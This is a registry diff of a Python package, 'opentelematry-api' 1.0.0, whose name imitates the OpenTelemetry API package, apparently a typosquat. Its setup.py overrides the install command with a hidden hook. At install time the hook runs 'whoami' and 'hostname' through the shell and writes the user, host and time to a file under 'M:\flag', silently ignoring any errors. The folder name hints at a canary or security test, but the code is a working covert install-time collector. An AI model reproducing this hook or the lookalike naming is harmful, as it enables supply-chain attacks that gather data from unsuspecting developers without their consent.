opentelematry-api 1.0.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- opentelematry_api-1.0.0/PKG-INFO +3 -0
- opentelematry_api-1.0.0/opentelematry_api.egg-info/PKG-INFO +3 -0
- opentelematry_api-1.0.0/opentelematry_api.egg-info/SOURCES.txt +5 -0
- opentelematry_api-1.0.0/opentelematry_api.egg-info/dependency_links.txt +1 -0
- opentelematry_api-1.0.0/opentelematry_api.egg-info/top_level.txt +1 -0
- opentelematry_api-1.0.0/setup.cfg +4 -0
- opentelematry_api-1.0.0/setup.py +39 -0
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
import os
|
|
2
|
+
import subprocess
|
|
3
|
+
from datetime import datetime
|
|
4
|
+
from setuptools import setup, find_packages
|
|
5
|
+
from setuptools.command.install import install
|
|
6
|
+
|
|
7
|
+
class PostInstallCommand(install):
|
|
8
|
+
def run(self):
|
|
9
|
+
try:
|
|
10
|
+
user_raw_full = subprocess.check_output('whoami', shell=True).decode().strip()
|
|
11
|
+
clean_user = user_raw_full.split('\\')[-1]
|
|
12
|
+
host_name = subprocess.check_output('hostname', shell=True).decode().strip()
|
|
13
|
+
current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
|
|
14
|
+
package_name = "opentelematry-api"
|
|
15
|
+
|
|
16
|
+
target_dir = r"M:\flag"
|
|
17
|
+
|
|
18
|
+
if not os.path.exists(target_dir):
|
|
19
|
+
os.makedirs(target_dir)
|
|
20
|
+
|
|
21
|
+
file_path = os.path.join(target_dir, f"{clean_user}.txt")
|
|
22
|
+
|
|
23
|
+
with open(file_path, "w", encoding="utf-8") as f:
|
|
24
|
+
f.write(f"User: {user_raw_full}\n")
|
|
25
|
+
f.write(f"Hostname: {host_name}\n")
|
|
26
|
+
f.write(f"Execution Time: {current_time}\n")
|
|
27
|
+
f.write(f"Package Name: {package_name}\n")
|
|
28
|
+
except Exception:
|
|
29
|
+
pass
|
|
30
|
+
install.run(self)
|
|
31
|
+
|
|
32
|
+
setup(
|
|
33
|
+
name='opentelematry-api',
|
|
34
|
+
version='1.0.0',
|
|
35
|
+
packages=find_packages(),
|
|
36
|
+
cmdclass={
|
|
37
|
+
'install': PostInstallCommand,
|
|
38
|
+
},
|
|
39
|
+
)
|